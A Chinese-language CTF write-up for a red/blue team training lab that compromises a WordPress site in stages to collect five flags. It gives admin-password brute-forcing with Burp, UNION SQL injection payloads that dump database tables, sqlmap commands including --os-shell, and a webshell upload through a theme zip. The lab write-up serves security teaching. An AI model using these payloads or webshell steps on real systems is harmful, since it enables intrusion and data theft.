安徽公司红蓝军训练营-WriteUpDocker复现
一、前期準備
根據比賽規則所知,這是一道綜合web滲透題,題目一共包含5個flag。
首先我們訪問靶場地址:http://192.168.60.5
通過分析可以得出,該網站為一個個人博客,使用的CMS是WordPress5.8.2,編程語言是PHP,數據庫是MySql,操作系統是Debian,使用的WordPress主題是Zakra。
接著我們使用nmap對該IP進行目錄掃描:
發現該IP僅開放了80(sql)和3306(mysql)端口,因此判斷flag可能就藏在WordPress網站或者數據庫中。
二、【寶藏1】
1.登錄網站后我們首先看到一篇叫【你好!冒險家!】的文章。
2.閱讀之后我們知道了題目一共設置了5個flag。另外我們還發現了一行藍字,讓我們可以去武器庫看看。
3.找到武器庫后,我們發現里面內置了一些工具,猜測可能與解題有關。根據介紹推出可能有編碼題、目錄泄露、爆破、SQL注入題等題型。
4.回到首頁我們發現還有第二篇博客,名字叫【第一個寶藏】,想必這里應該藏匿了第一個flag。
5.我們訪問后,發現是一串看不懂的字符串,但是根據提示說可能和密碼學有關,而且有張寫著b64的圖片,猜測該字符串可能經過base64編碼了,我們又想到武器庫中有base64解碼器,于是去解碼試試。
6.解密后得到第一個flag{G1ft_At_F1rst_S1ght}。
三、【寶藏2】
1.在武器庫中我們還發現了目錄掃描工具。
2.于是我們嘗試對文章目錄進行掃描,看看有什么可以利用的點。
3.我們發現了有www.zip,robots.txt等文件。
4.于是我們先嘗試訪問robots.txt,發現題目提示第二個寶藏可能在/wp-admin這個目錄下面。
5.于是我們訪問這個目錄,發現是WordPress的管理后臺。
6.我們右鍵查看源代碼看看有沒有源碼泄露的問題。
7.右鍵查看源碼,通過搜索flag字段我們發現了第二個flag,flag{YOur_Are_s0_Lucky_This_1s_Fl4g}。
四、【寶藏3】
1.打開剛剛下載的www.zip,發現是網站源碼,對源碼全局搜索"flag{"字段發現dashboard.php中存在flag,但是內容被隱去。
2.我們發現該文件位置在wp-admin下,猜測可能是管理員用戶的文件,想要讀取這個文件需要進入管理后臺。
3.另外根據武器庫的提示,我們發現有一個爆破字典6000.txt,猜測可能需要爆破才能進入管理后臺。
4.根據文章發布的作者,我們發現系統后臺應該存在一個admin用戶。
4.于是我們打算使用武器庫提供的6000.txt爆破字典進行弱口令爆破。
5.打開bp抓去后臺登錄包,將其發送到intruder模塊進行爆破,其中log=admin不變,設置pwd的值為變量。
6.通過對響應包對長度進行排序,發現當pwd=x12345678的時候包長度和其它包不一樣,推測WordPress的后臺密碼可能為x12345678。
7.使用admin/x12345678進行驗證,發現登錄成功,獲取到第三個flag,flag{The_c0de_1s_0pen_Sesame}。
五、【寶藏4】
1.根據題目關鍵字“數據倉庫”和武器庫中包含sqlmap,猜測第4個寶藏應該在數據庫中,考點應該是sql注入。
2.打開www.zip發現致冒險家們.txt、wp-login.php和wp_lostpassword.php三個文件的修改日期和其它文件不一致,猜測出題人可能對這個三個文件進行了編輯。
3.打開“致冒險家們.txt”文件,發現提示大家進行代碼審計。
4.于是對后面兩個文件進行代碼審計分析,發現wp_lostpassword.php中包含mysql對賬號、密碼、數據庫名稱以及select查詢語句。
5.經過分析發現該查詢語句沒有進行任何過濾,直接將用戶提交的參數【$username】拼接到select查詢語句中進行數據庫查詢。另外不會審計的同學也可以通過自動化的審計工具進行代碼審計。
6.通過文件名“wp_lostpassword.php”,可知該文件應該在忘記密碼的地方,我們嘗試在后臺點擊忘記密碼去訪問。
7.發現系統會把你輸入的用戶名帶到系統中查詢,而執行查詢的文件操作的就是存在漏洞的“wp_lostpassword.php”文件。
8.通過測試語句1' or sleep(5)#,發先頁面5s后才加載完成,證明數據庫執行了休眠5s的操作,存在時間盲注。
9.通過輸入paylaod:admin' order by 10#?不報錯,而
admin' order by 11#??報錯,可知該表存在十個字段值。
10.通過payload:1' union select 1,2,3,4,5,6,7,8,9,10#?可以判斷回顯字段。
11.發現回顯點為第二位,證明可以進行聯合注入。
12.于是我們把payload改為1' union select 1,version(),3,4,5,6,7,8,9,10#??成功查詢了數據庫的版本信息。
13.使用payload:1' union select 1,database(),3,4,5,6,7,8,9,10#?查詢當前數據庫。?
14.后面我們來正式獲取flag,flag{This_1s_My_Dad_G0ld_Bank} 。
a.1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3,4,5,6,7,8,9,10#?查庫名
b.1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'wordpress'),3,4,5,6,7,8,9,10#?查表名
c.1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 'flag'),3,4,5,6,7,8,9,10#?查列名
d.1' union select 1,(select flag from flag),3,4,5,6,7,8,9,10#?查flag
15.當然大家也可以使用武器庫提供的sqlmap來直接獲取flag。
通過bp抓post請求包保存為url.txt,然后使用sqlmap命令來進行sql注入:
python3 sqlmap.py -r url.txt --batch --dbs python3 sqlmap.py -r url.txt --batch -D wordpress --tables python3 sqlmap.py -r url.txt --batch -D wordpress -T flag --dump16.當然有人可能想起來之前用nmap掃描發現主機對外開啟了3306端口,并且我們也知道了數據庫的賬號和密碼,是否可以直接用數據庫管理工具連接讀取flag呢?
答案是否定的。因為通過select user,host from mysql.user;
我們發現用戶root的訪問權限為localhost,表示root用戶只支持本地訪問,無法進行遠程連接。
六、【寶藏5】
1.我們登錄后臺后,瀏覽了一下發現沒有其它flag,猜測可能最后一個flag藏在Debian的服務器上,于是我們在后臺尋找上傳點,看看能不能上傳webshell。
2.經過一番搜尋后,我們在外觀-主題處發現了一個名字叫做websell的可疑主題,猜測可能是別人留下的后門。
3.但是我們不知道其真實路徑,后來我們回想起我們在前期準備階段了解到這個站點使用的是Zakra主題,而且我們現在手中又正好有這個網站的源碼,這樣我們就可以通過Zakra主題的位置來推測webshell的位置。
4.我們發現zakra中存在一個webshell.php。
5.我們后來打開發現原來是個假shell,內容為phpinfo。
6.雖然是假webshell,但是可以幫我確定位置,我們驗證我們推測的地址是否可以直接訪問,于是我們訪問http://192.168.60.5/wp-content/themes/zakra/webshell.php。發現確實可以訪問,證明我們推測無誤。
7.目前有兩個方案,一是去連接webshell主題中別人留下來的webshell,雖然我們可以推測出路徑,但是我們不知道webshell的文件名和密碼。另一方案是我們自己寫一個webshell放到主題里面打包上傳到網站中。
8.我們在主題處發現可以自己打包zip的主題壓縮包進行上傳。
9.于是我們修改zakra中webshell.php的內容為一句話木馬。
10.然后重新打包上傳。
11.發現此處也會爆出文件路徑,我們直接點擊替換,覆蓋當前版本。
12.覆蓋成功后參數使用webshell管理工具進行連接。
13.在根目錄發現flag,flag{C0ngratu1at10n_0n_y0ur_Graduat10n}。
七、思考
1.對sql注入不熟悉的同學其實可以先做【寶藏5】,然后使用webshell管理工具自帶的數據庫管理工具來直接讀取【寶藏4】數據庫中的flag。
2.沒有找到【寶藏5】webshell上傳點的小伙伴也可以通過【寶藏4】sql注入寫shell的方式來直接向網站目錄寫入webshell。
python3 sqlmap.py -r url.txt --os-shell --batchsqlmap寫入的shell
直接讀取flag
八、賽后復現
1.我已將本次賽題打包成鏡像上傳到dockerhub,想復現本次競賽的同學可以自己拉取dokcer鏡像。
使用方法:
#拉取docker鏡像 docker pull kakaxi1996/acs_ctf:v5 #運行docker鏡像,將容器內的80端口映射到本地80端口 docker run -d -p 80:80 kakaxi1996/acs_ctf:v5 #打開瀏覽器訪問http://127.0.0.1即可若想讓除本機外的內網其它主機訪問,需修改文件/var/www/html/wp-config.php中的以下地址為運行docker的宿主機對外的IP地址。
總結
以上是生活随笔為你收集整理的安徽公司红蓝军训练营-WriteUpDocker复现的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 数学物理方法 10 格林函数法
- 下一篇: 格林函数(Green’s functio